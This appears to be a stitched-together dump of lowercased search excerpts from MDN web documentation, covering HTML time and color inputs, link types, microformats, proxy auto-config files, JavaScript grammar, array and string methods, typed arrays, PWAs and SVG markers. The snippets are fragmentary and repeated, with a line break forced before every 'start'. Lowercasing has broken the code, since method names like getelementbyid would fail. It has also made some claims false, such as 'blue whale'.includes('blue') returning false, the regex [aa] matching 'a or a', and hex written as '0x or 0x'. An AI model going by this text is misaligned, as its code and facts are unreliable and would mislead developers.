...some setup. here we establish some variables, setting up a variable that contains the color we'll set the color well to when we first load up, and then setting up a load handler to do the main
startup work once the page is fully loaded. ...
...me variables, setting up a variable that contains the color we'll set the color well to when we first load up, and then setting up a load handler to do the main
startup work once the page is fully loaded. var colorwell; var defaultcolor = "#0000ff"; window.addeventlistener("load",
startup, false); initialization once the page is loaded, our load event handler,
startup(), is called: function
startup() { colorwell = document.queryselector("#colorwell"); colorwell.value = defaultcolor; colorwell.addeventlistener("input", updatefirst, false); colorwell.addeventlistener("change", updateall, false); colorwell.select(); } this gets a reference to the color <input> element in a variable called colorwell, then sets the color input's value to the value in defaultcolor. then the color in...
<input type="time"> - HTML: Hypertext Markup Language
sed by this input type in time strings in date and time formats used in html. in this example, you can see the time input's value by entering a time and seeing how it changes afterward. first, a look at the html. this is simple enough, with the label and input as we've seen before, but with the addition of a <p> element with a <span> to display the value of the time input: <form> <label for="
starttime">
start time: </label> <input type="time" id="
starttime"> <p> value of the <code>time</code> input: <code> "<span id="value">n/a</span>"</code>. </p> </form> the javascript code adds code to the time input to watch for the input event, which is triggered every time the contents of an input element change. when this happens, the contents of the <span> are replaced with th...
...e="time" id="
starttime"> <p> value of the <code>time</code> input: <code> "<span id="value">n/a</span>"</code>. </p> </form> the javascript code adds code to the time input to watch for the input event, which is triggered every time the contents of an input element change. when this happens, the contents of the <span> are replaced with the new value of the input element. var
starttime = document.getelementbyid("
starttime"); var valuespan = document.getelementbyid("value");
starttime.addeventlistener("input", function() { valuespan.innertext =
starttime.value; }, false); when a form including a time input is submitted, the value is encoded before being included in the form's data. the form's data entry for a time input will always be in the form name=hh%3amm, or name=...
... not be user-editable step the stepping interval to use both for user interfaces purposes and during constraint validation unlike many data types, time values have a periodic domain, meaning that the values reach the highest possible value, then wrap back around to the beginning again. for example, specifying a min of 14:00 and a max of 2:00 means that the permitted time values
start at 2:00 pm, run through midnight to the next day, ending at 2:00 am. see more in the making min and max cross midnight section of this article. list the values of the list attribute is the id of a <datalist> element located in the same document. the <datalist> provides a list of predefined values to suggest to the user for this input. any values in the list that are not compatible with the type...
...n the time picker (e.g. edge). making min and max cross midnight by setting a min attribute greater than the max attribute, the valid time range will wrap around midnight to produce a valid time range which crosses midnight. this functionality is not supported by any other input types. while this feature is in the html spec, it is not yet universally supported. chrome-based browsers support it
starting in version 82 and firefox added it in version 76. no information is yet available about when or if safari will add it. be prepared for this situation to arise: const input = document.createelement('input'); input.type = 'time'; input.min = '23:00'; input.max = '01:00'; input.value = '23:59'; if (input.validity.valid && input.type === 'time') { // <input type=time> reversed range supported ...
Link types - HTML: Hypertext Markup Language
the site of the current page; that is, following the link will make the user leave the site. <a>, <area>, <form> <link> first indicates that the hyperlink leads to the first resource of the sequence the current page is in. note: other link types related to linking resources in the same sequence are last, prev, next. although recognized, the synonyms begin and
start are incorrect and must be avoided. <a>, <area>, <link> <form> help if the element is <a> or <area>, it indicates that the hyperlink leads to a resource giving further help about the parent of the element, and its descendants. if the element is <link> it indicates that the hyperlink leads to a resource giving further help about the page as a whole. <a>...
.... if several icons are equally appropriate, the last one is used. if the most appropriate icon is later found to be inappropriate, for example because it uses an unsupported format, the browser proceeds to the next-most appropriate, and so on. note: apple's ios does not use this link type, nor the sizes attribute, like others mobile browsers do, to select a webpage icon for web clip or a
start-up placeholder. instead it uses the non-standard apple-touch-icon and apple-touch-
startup-image respectively. the shortcut link type is often seen before icon, but this link type is non-conforming, ignored and web authors must not use it anymore. <link> <a>, <area>, <form> import html imports <link> <a>, <area>, <form> index obsolete since html5 indi...
...the browser suggesting that it open a connection to the linked web site in advance, without disclosing any private information or downloading any content, so that when the link is followed the linked content can be fetched more quickly. <link> <a>, <area>, <form> prefetch suggests that the browser fetch the linked resource in advance, as it is likely to be requested by the user.
starting with firefox 44, the value of the crossorigin attribute is taken into consideration, making it possible to make anonymous prefetches. note: the link prefetch faq has details on which links can be prefetched and on alternative methods. <link> <a>, <area>, <form> preload tells the browser to download a resource because this resource will be needed later during the curr...
...der values. html living standardthe definition of 'link types' in that specification. living standard added opener and made noopener the default behavior for target="_blank" links. html5the definition of 'link types' in that specification. recommendation added tag, search, prefetch, noreferrer, nofollow, icon, and author. renamed copyright to license. removed
start, chapter, section, subsection, and appendix html 4.01 specificationthe definition of 'link types' in that specification. recommendation added alternate, stylesheet,
start, chapter, section, subsection, appendix, and bookmark. renamed previous to prev. removed top, and search. unknownthe definition of '<link>' in that specification. obsolete added top, content...
Microformats - HTML: Hypertext Markup Language
t) properties, e.g. "p-name", "p-summary" generic plain text parsing, element text in general. on certain html elements, use special attributes first, e.g. img/alt, abbr/title. "u-*" for url properties, e.g. "u-url", "u-photo", "u-logo" special parsing: element attributes a/href, img/src, object/data etc. attributes over element contents. "dt-*" for datetime properties, e.g. "dt-
start", "dt-end", "dt-bday" special parsing: time element datetime attribute, value-class-pattern and separate date time value parsing for readability. "e-*" for element tree properties where the entire contained element hierarchy is the value, e.g. "e-content". the "e-" prefix can also be mnemonically remembered as "element tree", "embedded markup", or "encapsulated markup". some microforma...
...feed p-author author of the feed, optionally embed an h-card children nested h-entry objects representing the items of the feed h-event the h-event is for events on the web. ...
...up>th</sup> june 2013, 12:00</time> to <time class="dt-end" datetime="2013-06-30 18:00">18:00</time> at <span class="p-location">some bar in sf</span></p> <p class="p-summary">get together and discuss all things microformats-related.</p> </div> properties property description p-name event name (or title) p-summary short summary of the event dt-
start datetime the event
starts dt-end datetime the event ends p-location where the event takes place, optionally embedded h-card parsed h-event example <div class="h-event"> <h2 class="p-name">indieweb summit</h2> <time class="dt-
start" datetime="2019-06-29t09:00:00-07:00">june 29, 2019 at 9:00am (-0700)</time><br>through <time class="dt-end" datetime="2019-06-...
...{ "name": [ "indieweb summit" ], "url": [ "https://aaronparecki.com/2019/06/29/1/" ], "author": [ { "type": [ "h-card" ], "properties": { "name": [ "aaron parecki" ], "url": [ "https://aaronparecki.com"] }, "lang": "en", "value": "aaron parecki" } ], "
start": [ "2019-06-29t09:00:00-07:00" ], "end": [ "2019-06-30t18:00:00-07:00" ], "published": [ "2019-05-25t18:00:00-07:00" ], "content": [ { "html": "come join us", "value": "come join us", "lang": "en" } ], "location": [ { "type": [ "h-card" ], "properties": { ...
Proxy Auto-Configuration (PAC) file - HTTP
proxies should be temporarily ignored, and direct connections attempted. after 20 minutes, the browser will ask if proxies should be retried, asking again after an additional 40 minutes. queries will continue, always adding 20 minutes to the elapsed time between queries. examples proxy w3proxy.netscape.com:8080; proxy mozilla.netscape.com:8081 primary proxy is w3proxy:8080; if that goes down
start using mozilla:8081 until the primary proxy comes up again. proxy w3proxy.netscape.com:8080; proxy mozilla.netscape.com:8081; direct same as above, but if both proxies go down, automatically
start making direct connections. (in the first example above, netscape will ask user confirmation about making direct connections; in this case, there is no user intervention.) proxy w3proxy.netscape.com:80...
... proxy2.mydomain.com:8080; " + "proxy proxy4.mydomain.com:8080"; else return "proxy proxy3.mydomain.com:8080; " + "proxy proxy4.mydomain.com:8080"; } example 6 setting a proxy for a specific protocol most of the standard javascript functionality is available for use in the findproxyforurl() function. ...
... return "proxy proxy3.mydomain.com:8080; " + "proxy proxy4.mydomain.com:8080"; } example 6 setting a proxy for a specific protocol most of the standard javascript functionality is available for use in the findproxyforurl() function. ...
...080"; } example 6 setting a proxy for a specific protocol most of the standard javascript functionality is available for use in the findproxyforurl() function. as an example, to set different proxies based on the protocol the
startswith() function can be used: function findproxyforurl(url, host) { if (url.
startswith("http:")) return "proxy http-proxy.mydomain.com:8080"; else if (url.
startswith("ftp:")) return "proxy ftp-proxy.mydomain.com:8080"; else if (url.
startswith(“gopher:")) return "proxy gopher-proxy.mydomain.com:8080"; else if (url.
startswith("https:") || url.
startswith("snews:")) return "proxy security-proxy.mydomain.com:8080"; else return "direct"; } note: the same can be accomplished using the shexpmatch() function described earlier. for ...
Grammar and types - JavaScript
ne characters are considered whitespace.) comments the syntax of comments is the same as in c++ and in many other languages: // a one line comment /* this is a longer, * multi-line comment */ /* you can't, however, /* nest comments */ syntaxerror */ comments behave like whitespace, and are discarded during script execution. note: you might also see a third type of comment syntax at the
start of some javascript files, which looks something like this: #!/usr/bin/env node. this is called hashbang comment syntax, and is a special comment used to specify the path to a particular javascript engine that should execute the script. see hashbang comments for more details. declarations javascript has three kinds of variable declarations. var declares a variable, optionally initializing ...
...ions. var declares a variable, optionally initializing it to a value. let declares a block-scoped, local variable, optionally initializing it to a value. const declares a block-scoped, read-only named constant. variables you use variables as symbolic names for values in your application. the names of variables, called identifiers, conform to certain rules. a javascript identifier must
start with a letter, underscore (_), or dollar sign ($). subsequent characters can also be digits (0–9). because javascript is case sensitive, letters include the characters "a" through "z" (uppercase) as well as "a" through "z" (lowercase). you can use most of iso 8859-1 or unicode letters such as å and ü in identifiers. (for more details, see this blog post.) you can also use the unicode escape...
... because of hoisting, all var statements in a function should be placed as near to the top of the function as possible. this best practice increases the clarity of the code. in ecmascript 2015, let and const are hoisted but not initialized. referencing the variable in the block before the variable declaration results in a referenceerror, because the variable is in a "temporal dead zone" from the
start of the block until the declaration is processed. console.log(x); // referenceerror let x = 3; function hoisting in the case of functions, only function declarations are hoisted—but not the function expressions. /* function declaration */ foo(); // "bar" function foo() { console.log('bar'); } /* function expression */ baz(); // typeerror: baz is not a function var baz = function() { ...
...d in one window or frame from another window or frame by specifying the window or frame name. for example, if a variable called phonenumber is declared in a document, you can refer to this variable from an iframe as parent.phonenumber. constants you can create a read-only, named constant with the const keyword. the syntax of a constant identifier is the same as any variable identifier: it must
start with a letter, underscore, or dollar sign ($), and can contain alphabetic, numeric, or underscore characters. const pi = 3.14; a constant cannot change value through assignment or be re-declared while the script is running. it must be initialized to a value. the scope rules for constants are the same as those for let block-scope variables. if the const keyword is omitted, the identifier is as...
Introduction - JavaScript
formation the javascript documentation on mdn includes the following: learn web development provides information for beginners and introduces basic concepts of programming and the internet. javascript guide (this guide) provides an overview about the javascript language and its objects. javascript reference provides detailed reference material for javascript. if you are new to javascript,
start with the articles in the learning area and the javascript guide. once you have a firm grasp of the fundamentals, you can use the javascript reference to get more details on individual objects and statements. what is javascript? javascript is a cross-platform, object-oriented scripting language used to make webpages interactive (e.g., having complex animations, clickable buttons, popup menus, et...
...pecification uses terminology and syntax that may be unfamiliar to a javascript programmer. although the description of the language may differ in ecmascript, the language itself remains the same. javascript supports all functionality outlined in the ecmascript specification. the javascript documentation describes aspects of the language that are appropriate for a javascript programmer. getting
started with javascript getting
started with javascript is easy: all you need is a modern web browser. this guide includes some javascript features which are only currently available in the latest versions of firefox, so using the most recent version of firefox is recommended. the web console tool built into firefox is useful for experimenting with javascript; you can use it into two modes: single-li...
...function greetme(yourname) { alert("hello " + yourname) } console.log(eval('3 + 5')) multi-line input in the web console the single-line input mode of the web console is great for quick testing of javascript expressions, but although you can execute multiple lines, it's not very convenient for that. for more complex javascript, you can use the multi-line line input mode. ...
...eb console is great for quick testing of javascript expressions, but although you can execute multiple lines, it's not very convenient for that. for more complex javascript, you can use the multi-line line input mode. hello world to get
started with writing javascript, open the web console in multi-line mode, and write your first "hello world" javascript code: (function(){ "use strict"; /*
start of your code */ function greetme(yourname) { alert('hello ' + yourname); } greetme('world'); /* end of your code */ })(); press cmd+enter or ctrl+enter (or click the run button) to watch it unfold in your browser! in the following pages, this guide introduces you to the javascript syntax and language features, so that you will be able to write more complex applications. but for no...
Character classes - JavaScript
0 or more "a"s. to match * literally, precede it with a backslash; for example, /a\*/ matches "a*". to match this character literally, escape it with itself. in other words to search for \ use /\\/. examples looking for a series of digits var randomdata = "015 354 8787 687351 3512 8735"; var regexpfourdigits = /\b\d{4}\b/g; // \b indicates a boundary (i.e. ...
...015 354 8787 687351 3512 8735"; var regexpfourdigits = /\b\d{4}\b/g; // \b indicates a boundary (i.e. do not
start matching in the middle of a word) // \d{4} indicates a digit, four times // \b indicates another boundary (i.e. do not end matching in the middle of a word) console.table(randomdata.match(regexpfourdigits)); // ['8787', '3512', '8735'] looking for a word (from the latin alphabet)
starting with a var aliceexcerpt = "i’m sure i’m not ada,’ she said, ‘for her hair goes in such long ringlets, and mine doesn’t go in ringlets at all."; var regexpword
startingwitha = /\b[aa]\w+/g; // \b indicates a boundary (i.e. ...
...n the middle of a word) console.table(randomdata.match(regexpfourdigits)); // ['8787', '3512', '8735'] looking for a word (from the latin alphabet)
starting with a var aliceexcerpt = "i’m sure i’m not ada,’ she said, ‘for her hair goes in such long ringlets, and mine doesn’t go in ringlets at all."; var regexpword
startingwitha = /\b[aa]\w+/g; // \b indicates a boundary (i.e. ...
...m sure i’m not ada,’ she said, ‘for her hair goes in such long ringlets, and mine doesn’t go in ringlets at all."; var regexpword
startingwitha = /\b[aa]\w+/g; // \b indicates a boundary (i.e. do not
start matching in the middle of a word) // [aa] indicates the letter a or a // \w+ indicates any character *from the latin alphabet*, multiple times console.table(aliceexcerpt.match(regexpword
startingwitha)); // ['ada', 'and', 'at', 'all'] looking for a word (from unicode characters) instead of the latin alphabet, we can use a range of unicode characters to identify a word (thus being able to deal with text in other languages like russian or arabic). the "basic multilingual plane" of unicode contains most of the characters used around the world and we can use character classes and ranges...
Array.prototype.copyWithin() - JavaScript
the copywithin() method shallow copies part of an array to another location in the same array and returns it without modifying its length. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. ...
...ibute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax arr.copywithin(target[,
start[, end]]) parameters target zero-based index at which to copy the sequence to. if negative, target will be counted from the end. if target is at or greater than arr.length, nothing will be copied. if target is positioned after
start, the copied sequence will be trimmed to fit arr.length.
start optional zero-based index at which to
start copying elements from. if negative,
start will be counted from the end. if
start is omitted, copywithin will copy from index 0. end optional zero-based index at which to end copying elements from. copywithin copies up to but not including end. if negative, end will be counted from the e...
...ap. the copywithin function is intentionally generic, it does not require that its this value be an array object. the copywithin method is a mutable method. it does not alter the length of this, but it will change its content and create new properties, if necessary. polyfill if (!array.prototype.copywithin) { object.defineproperty(array.prototype, 'copywithin', { value: function(target,
start/*, end*/) { // steps 1-2. if (this == null) { throw new typeerror('this is null or not defined'); } var o = object(this); // steps 3-5. var len = o.length >>> 0; // steps 6-8. var relativetarget = target >> 0; var to = relativetarget < 0 ? math.max(len + relativetarget, 0) : math.min(relativetarget, len); // steps 9-11. var relati...
..., end*/) { // steps 1-2. if (this == null) { throw new typeerror('this is null or not defined'); } var o = object(this); // steps 3-5. var len = o.length >>> 0; // steps 6-8. var relativetarget = target >> 0; var to = relativetarget < 0 ? math.max(len + relativetarget, 0) : math.min(relativetarget, len); // steps 9-11. var relative
start =
start >> 0; var from = relative
start < 0 ? math.max(len + relative
start, 0) : math.min(relative
start, len); // steps 12-14. var end = arguments[2]; var relativeend = end === undefined ? len : end >> 0; var final = relativeend < 0 ? math.max(len + relativeend, 0) : math.min(relativeend, len); // step 15. var count = math.min(final - from, l...
Array.prototype.slice() - JavaScript
the slice() method returns a shallow copy of a portion of an array into a new array object selected from
start to end (end not included) where
start and end represent the index of items in that array. the original array will not be modified. the source for this interactive demo is stored in a github repository. if you'd like to contribute to the interactive demo project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax arr.slice([
start[, end]]) parameters
start optional zero-based index at which to
start extraction. a negative index can be used, indicating an offset from the end of the sequence. ...
... end optional zero-based index before which to end extraction. ...
... end optional zero-based index before which to end extraction. slice extracts up to but not including end. ...
... end optional zero-based index before which to end extraction. slice extracts up to but not including end. ...
Array.prototype.splice() - JavaScript
splice() method changes the contents of an array by removing or replacing existing elements and/or adding new elements in place. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax let arrdeleteditems = array.splice(
start[, deletecount[, item1[, item2[, ...]]]]) parameters
start the index at which to
start changing the array. if greater than the length of the array,
start will be set to the length of the array. in this case, no element will be deleted but the method will behave as an adding function, adding as many element as item[n*] provided. if negative, it will begin that many elements from the end of ...
...t to the length of the array. in this case, no element will be deleted but the method will behave as an adding function, adding as many element as item[n*] provided. if negative, it will begin that many elements from the end of the array. ...
... item[n*] provided. if negative, it will begin that many elements from the end of the array. (in this case, the origin -1, meaning -n is the index of the nth last element, and is therefore equivalent to the index of array.length - n.) if array.length +
start is less than 0, it will begin from index 0. deletecount optional an integer indicating the number of elements in the array to remove from
start. if deletecount is omitted, or if its value is equal to or larger than array.length -
start (that is, if it is equal to or greater than the number of elements left in the array,
starting at
start), then all the elements from
start to the end of the array will be deleted. note: in ie8, it won't delete all when deletecount is omitted. if deletecount is 0 or negative, no elements are remo...
...if you do not specify any elements, splice() will only remove elements from the array. return value an array containing the deleted elements. if only one element is removed, an array of one element is returned. if no elements are removed, an empty array is returned. ...
String.prototype.includes() - JavaScript
() method is case sensitive. for example, the following expression returns false: 'blue whale'.includes('blue') // returns false polyfill this method has been added to the ecmascript 2015 specification and may not be available in all javascript implementations yet. ...
...l this method has been added to the ecmascript 2015 specification and may not be available in all javascript implementations yet. ...
... added to the ecmascript 2015 specification and may not be available in all javascript implementations yet. ...
...nd may not be available in all javascript implementations yet. ...
String.prototype.indexOf() - JavaScript
returns -1 if the value is not found. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. note: for the array method, see array.prototype.indexof(). syntax str.indexof(searchvalue [, fromindex]) parameters searchvalue the string value to search for. ...
...ring is explicitly provided, searchvalue will be coerced to "undefined", and this value will be searched for in str. so, for example: 'undefined'.indexof() will return 0, as undefined is found at position 0 in the string undefined. 'undefine'.indexof() however will return -1, as undefined is not found in the string undefine. fromindex optional an integer representing the index at which to
start the search. defaults to 0. for fromindex values lower than 0, or greater than str.length, the search
starts at index 0 and str.length, respectively. for example, 'hello world'.indexof('o', -5) will return 4, as it
starts at position 0, and o is found at position 4. on the other hand, 'hello world'.indexof('o', 11) (and with any fromindex value greater than 11) will return -1, as the search is...
... return value the index of the first occurrence of searchvalue, or -1 if not found. an empty string searchvalue produces strange results. ...
...string exists within another string, the correct way to check would be: 'blue whale'.indexof('blue') !== -1 // true 'blue whale'.indexof('bloe') !== -1 // false ~('blue whale'.indexof('bloe')) // 0, which is falsy examples using indexof() the following example uses indexof() to locate values in the string "brave new world". const str = 'brave new world' console.log('index of first w from
start is ' + str.indexof('w')) // logs 8 console.log('index of "new" from
start is ' + str.indexof('new')) // logs 6 indexof() and case-sensitivity the following example defines two string variables. the variables contain the same string, except that the second string contains uppercase letters. the first console.log() method displays 19. but because the indexof() method is case sensitive, the ...
TypedArray - JavaScript
see also array.of(). instance properties typedarray.prototype.buffer returns the arraybuffer referenced by the typed array. fixed at construction time and thus read only. typedarray.prototype.bytelength returns the length (in bytes) of the typed array. fixed at construction time and thus read only. typedarray.prototype.byteoffset returns the offset (in bytes) of the typed array from the
start of its arraybuffer. fixed at construction time and thus read only. typedarray.prototype.length returns the number of elements held in the typed array. fixed at construction time and thus read only. instance methods typedarray.prototype.copywithin() copies a sequence of array elements within the array. see also array.prototype.copywithin(). typedarray.prototype.entries() returns a new ar...
...pe.copywithin(). typedarray.prototype.entries() returns a new array iterator object that contains the key/value pairs for each index in the array. see also array.prototype.entries(). typedarray.prototype.every() tests whether all elements in the array pass the test provided by a function. see also array.prototype.every(). typedarray.prototype.fill() fills all the elements of an array from a
start index to an end index with a static value. see also array.prototype.fill(). typedarray.prototype.filter() creates a new array with all of the elements of this array for which the provided filtering function returns true. see also array.prototype.filter(). typedarray.prototype.find() returns the found value in the array, if an element in the array satisfies the provided testing function, or un...
...new array. see also array.prototype.slice(). typedarray.prototype.some() returns true if at least one element in this array satisfies the provided testing function. see also array.prototype.some(). typedarray.prototype.sort() sorts the elements of an array in place and returns the array. see also array.prototype.sort(). typedarray.prototype.subarray() returns a new typedarray from the given
start and end element index. typedarray.prototype.values() returns a new array iterator object that contains the values for each index in the array. see also array.prototype.values(). typedarray.prototype.tolocalestring() returns a localized string representing the array and its elements. see also array.prototype.tolocalestring(). typedarray.prototype.tostring() returns a string representing the ...
...() returns a localized string representing the array and its elements. see also array.prototype.tolocalestring(). typedarray.prototype.tostring() returns a string representing the array and its elements. see also array.prototype.tostring(). typedarray.prototype[@@iterator]() returns a new array iterator object that contains the values for each index in the array. examples new is required
starting with ecmascript 2015, typedarray constructors must be constructed with the new operator. calling a typedarray constructor as a function without new will throw a typeerror. var dv = int8array([1, 2, 3]); // typeerror: calling a builtin int8array constructor // without new is forbidden var dv = new int8array([1, 2, 3]); property access you can reference elements in the array using standard a...
WeakRef - JavaScript
e object, it will receive undefined. you cannot change the target of a weakref, it will always only ever be the original target object or undefined when that target has been reclaimed. a weakref might never return undefined from deref, even if nothing strongly holds the target, because the garbage collector may never decide to reclaim the object. ...
... deref, even if nothing strongly holds the target, because the garbage collector may never decide to reclaim the object. ...
...nothing strongly holds the target, because the garbage collector may never decide to reclaim the object. ...
... ...
Lexical grammar - JavaScript
iner <zwnj> placed between characters to prevent being connected into ligatures in certain languages (wikipedia). u+200d zero width joiner <zwj> placed between characters that would not normally be connected in order to cause the characters to be rendered using their connected form in certain languages (wikipedia). u+feff byte order mark <bom> used at the
start of the script to mark it as unicode and the text's byte order (wikipedia). white space white space characters improve the readability of source text and separate tokens from each other. these characters are usually unnecessary for the functionality of the code. minification tools are often used to remove whitespace in order to reduce the amount of data that needs to be transferred. whi...
...ever issued, since it's inside a comment. any number of lines of code can be disabled this way. hashbang comments a specialized third comment syntax, the hashbang comment, is in the process of being standardized in ecmascript (see the hashbang grammar proposal). a hashbang comment behaves exactly like a single line-only (//) comment. instead, it begins with #! and is only valid at the absolute
start of a script or module. note also that no whitespace of any kind is permitted before the #!. the comment consists of all the characters after #! up to the end of the first line; only one such comment is permitted. the hashbang comment specifies the path to a specific javascript interpreter that you want to use to execute the script. an example is as follows: #!/usr/bin/env node console.log("hel...
... arguments get set literals null literal see also null for more information. null boolean literal see also boolean for more information. true false numeric literals the number and bigint types use numeric literals. decimal 1234567890 42 // caution when using with a leading zero: 0888 // 888 parsed as decimal 0777 // parsed as octal, 511 in decimal note that decimal literals can
start with a zero (0) followed by another decimal digit, but if all digits after the leading 0 are smaller than 8, the number is interpreted as an octal number. this won't throw in javascript, see bug 957513. see also the page about parseint() exponential the decimal exponential literal is specified by the following format: ben; where b is a base number (integer or floating), followed by e char (whic...
...sing octal digits after 0o". var n = 0o755; // 493 var m = 0o644; // 420 // also possible with just a leading zero (see note about decimals above) 0755 0644 hexadecimal hexadecimal number syntax uses a leading zero followed by a lowercase or uppercase latin letter "x" (0x or 0x). if the digits after 0x are outside the range (0123456789abcdef), the following syntaxerror is thrown: "identifier
starts immediately after numeric literal". 0xfffffffffffffffff // 295147905179352830000 0x123456789abcdef // 81985529216486900 0xa // 10 bigint literal the bigint type is a numeric primitive in javascript that can represent integers with arbitrary precision. bigint literals are created by appending n to the end of an integer. 123456789123456789n // 123456789123456789 0o777777...
JavaScript typed arrays - JavaScript
xibility and efficiency, javascript typed arrays split the implementation into buffers and views. a buffer (implemented by the arraybuffer object) is an object representing a chunk of data; it has no format to speak of and offers no mechanism for accessing its contents. in order to access the memory contained in a buffer, you need to use a view. a view provides a context — that is, a data type,
starting offset, and the number of elements — that turns the data into a typed array. arraybuffer the arraybuffer is a data type that is used to represent a generic, fixed-length binary data buffer. you can't directly manipulate the contents of an arraybuffer; instead, you create a typed array view or a dataview which represents the buffer in a specific format, and use that to read and write the ...
...tform. with a dataview you are able to control the byte-order. it is big-endian by default and can be set to little-endian in the getter/setter methods. web apis using typed arrays these are some examples of apis that make use of typed arrays; there are others, and more are being added all the time. filereader.prototype.readasarraybuffer() the filereader.prototype.readasarraybuffer() method
starts reading the contents of the specified blob or file. xmlhttprequest.prototype.send() xmlhttprequest instances' send() method now supports typed arrays and arraybuffer objects as argument. imagedata.data is a uint8clampedarray representing a one-dimensional array containing the data in the rgba order, with integer values between 0 and 255 inclusive. examples using views with buffers first ...
... the buffer as an array of 32-bit signed integers: let int32view = new int32array(buffer); now we can access the fields in the array just like a normal array: for (let i = 0; i < int32view.length; i++) { int32view[i] = i * 2; } this fills out the 4 entries in the array (4 entries at 4 bytes each makes 16 total bytes) with the values 0, 2, 4, and 6. multiple views on the same data things
start to get really interesting when you consider that you can create multiple views onto the same data. for example, given the code above, we can continue like this: let int16view = new int16array(buffer); for (let i = 0; i < int16view.length; i++) { console.log('entry ' + i + ': ' + int16view[i]); } here we create a 16-bit integer view that shares the same buffer as the existing 32-bit view and...
... 32; console.log('entry 0 in the 32-bit array is now ' + int32view[0]); the output from this is "entry 0 in the 32-bit array is now 32". in other words, the two arrays are indeed simply viewed on the same data buffer, treating it as different formats. you can do this with any view types. working with complex data structures by combining a single buffer with multiple views of different types,
starting at different offsets into the buffer, you can interact with data objects containing multiple data types. this lets you, for example, interact with complex data structures from webgl, data files, or c structures you need to use while using js-ctypes. consider this c structure: struct somestruct { unsigned long id; char username[16]; float amountdue; }; you can access a buffer containin...
Progressive web app structure - Progressive web apps (PWAs)
architecture of an app there are two main, different approaches to rendering a website — on the server or on the client. they both have their advantages and disadvantages, and you can mix the two approaches to some degree. ...
... the web. being linkable, progressive and responsive by design it's important to remember the pwa advantages and keep them in mind when designing the application. the app shell approach allows websites to be: linkable: even though it behaves like a native app, it is still a website — you can click on the links within the page and send a url to someone if you want to share it. progressive:
start with the "good, old basic website” and progressively add new features while remembering to detect if they are available in the browser and gracefully handle any errors that crop up if support is not available. for example, an offline mode with the help of service workers is just an extra trait that makes the website experience better, but it's still perfectly usable without it. responsive: res...
...ing technologies like viewport meta tag, css media queries, flexbox, and css grid. different concept: streams an entirely different approach to server- or client-side rendering can be achieved with the streams api. with a little help from service workers, streams can greatly improve the way we parse content. the app shell model requires all the resources to be available before the website can
start rendering. it's different with html, as the browser is actually streaming the data already and you can see when the elements are loaded and rendered on the website. to have the javascript "operational", however, it has to be downloaded in its entirety. the streams api allows developers to have direct access to data streaming from the server — if you want to perform an operation on the data (fo...
...d on the website. to have the javascript "operational", however, it has to be downloaded in its entirety. the streams api allows developers to have direct access to data streaming from the server — if you want to perform an operation on the data (for example, adding a filter to a video), you no longer need to wait for all of it to be downloaded and converted to a blob (or whatever) — you can
start right away. it provides fine-grained control — the stream can be
started, chained with another stream, cancelled, checked for errors, and more. in theory, streaming is a better model, but it's also more complex, and at the time of writing (march 2018) the streams api is still a work-in-progress and not yet fully available in any of the major browsers. when it is available, it will be the faste...
The building blocks of responsive design - Progressive web apps (PWAs)
siveness to it, to make it mobile/tablet friendly, can be a lot more effort than just creating a separate mobile site or app, especially if it is a sprawling enterprise site. read more about responsive design advantages and disadvantages. you can also read our discussion on the basics of responsive design, if you need some more background information and basics. fluid grids the best place to
start is with fluid measurements for our application layout — essentially, this means using a combination of percentages and ems/rems to size your containers and text, not fixed widths such as pixels. this has a lot of advantages in that the layout will adapt to different viewport dimensions. let's look at an example. we've written a simple-but-fun prototype for an application called snapshot, which...
...u set width: 40%, the box width will always be 40% of its parent, and any padding and border widths set on the box will be subtracted from the content width, not added to it. very useful! read more about this at * { box-sizing: border-box } ftw, by paul irish. flexible replaced elements things are working fairly well now, but there are still some issues just waiting to present themselves. for a
start, let's have a look at what happens when we include the <video> and <img> elements inside our first two columns, naked and unstyled. because the size of replaced elements is dictated by the size of the media inserted into them, and the media is a fixed size, they explode out of their containing elements and make a mess of the layout. this is pretty horrible, but generally this kind of problem i...
...fill their containers no matter what — a subtle but important difference from max-width — and therefore always be the same size. the video always resizes dynamically, but the screen captures taken from it do not, so upon resizing the screen it was possible to end up with a messy layout with different sized elements when using max-width: 100%, such as: media queries fluid grids are a great
start, but you'll notice that at certain points (known as breakpoints) the layout
starts to break down. at these points you'll want to change the layout to rectify the layout problem, and this can be done using media queries. note: media queries are a css3 feature that allow you to selectively apply css depending on the results of media feature tests — for more on the basics, read media queries. ...
...ices, so yes, those extra kilobytes really do count. another challenge is dealing with high resolution screens — raster graphics designed for low resolutions are in danger of appearing tiny when displayed on a high resolution screen, so devices often apply a default zoom factor to rendered pages to avoid this. the trouble with this, then, is that raster images are zoomed in and as a result can
start to look pixellated. css background images for css background images this is a fairly easy problem to solve. if you use the mobile first methodology, you will be creating your mobile layout inside your default css, before any media queries have been applied. the media queries then supply css that is only applied to the markup when the viewport is above a certain width. let's look at a quick exam...
orient - SVG: Scalable Vector Graphics
the orient attribute indicates how a marker is rotated when it is placed at its position on the shape. ...
...6" markerheight="6" orient="auto-
start-reverse"> <path d="m 0 0 l 10 5 l 0 10 z" /> </marker> <marker id="dataarrow" viewbox="0 0 10 10" refx="5" refy="5" markerwidth="6" markerheight="6" orient="-65deg"> <path d="m 0 0 l 10 5 l 0 10 z" fill="red" /> </marker> </defs> <polyline points="10,10 10,90 90,90" fill="none" stroke="black" marker-
start="url(#arrow)" marker-end="url(#arrow)" /> <polyline points="15,80 29,50 43,60 57,30 71,40 85,15" fill="none" stroke="grey" marker-
start="url(#dataarrow)" marker-mid="url(#dataarrow)" marker-end="url(#dataarrow)" /> </svg> usage notes value auto | auto-
start-reverse | <angle> | <number> default value 0 animatable yes (non-additive) a...
...url(#dataarrow)" marker-end="url(#dataarrow)" /> </svg> usage notes value auto | auto-
start-reverse | <angle> | <number> default value 0 animatable yes (non-additive) auto this value indicates that the marker is oriented such that its positive x-axis is pointing in a direction relative to the path at the position the marker is placed. auto-
start-reverse if placed by marker-
start, the marker is oriented 180° different from the orientation that would be used if auto where specified. for all other markers, auto-
start-reverse means the same as auto. note: this allows a single arrowhead marker to be defined that can be used for both the
start and end of a path, i.e. which points outwards from both ends. <angle> this value indicate...
